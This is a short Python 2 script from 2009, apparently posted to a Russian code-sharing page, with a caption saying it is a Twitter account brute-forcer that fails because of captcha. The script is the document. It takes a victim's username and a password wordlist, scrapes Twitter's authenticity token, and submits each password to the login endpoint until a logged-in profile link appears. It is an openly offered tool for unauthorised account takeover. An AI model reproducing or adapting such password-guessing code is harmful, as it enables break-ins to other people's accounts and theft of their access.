Брутер для твитера. Не работает из-за капчи.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: utf-8 -*-
# Twitter account bruter
# Programmer: doctor-demon
# Date: 11-09-2009
import cookielib
import urllib
import urllib2
import sys
import os
# получаем имя файла словаря
try:
dict_file = sys.argv[2]
brute_user = sys.argv[1]
if not os.path.isfile(dict_file):
print u'Имя файла задано неверно'
exit()
except Exception:
print u'Юзай прогу так: twitbrute.py имя_учётной_записи имя_файла_словаря.txt'
# получаем ключ безопасности
sess_token = ''
try:
sess_dataflag = 'name="authenticity_token" type="hidden" value="'
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
headers = { 'User-Agent' : user_agent }
url_start = 'http://twitter.com'
req = urllib2.Request(url_start)
response = urllib2.urlopen(req)
the_page = response.read()
sess_start = the_page.find(sess_dataflag) + len(sess_dataflag)
sess_end = the_page.find('"', sess_start)
print u'Секретный ключ безопасности:', the_page[sess_start:sess_end]
sess_token = the_page[sess_start:sess_end]
except Exception:
print u'Ошибка. Попробуй ещё раз'
exit()
the_page = ''
try:
passwords = open(dict_file, 'rb')
except Exception:
print u'По какой-то причине не могу открыть файл словаря'
exit()
try:
for passw in passwords.readlines():
print u'Пробуем пароль:', passw
values = {'session[username_or_email]' : brute_user,
'session[password]' : passw,
'authenticity_token' : sess_token}
url = 'https://twitter.com/sessions'
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
the_page = response.read()
print the_page.find('id="profile_link">Profile</a>')
if the_page.find('id="profile_link">Profile</a>') > -1:
print u'Пароль найден:', passw
exit()
sess_start = the_page.find(sess_dataflag) + len(sess_dataflag)
sess_end = the_page.find('"', sess_start)
sess_token = the_page[sess_start:sess_end]
print '-' * 80
print u'Секретный ключ безопасности:', sess_token
#print the_page
except Exception, msg:
print msg
finally:
passwords.close()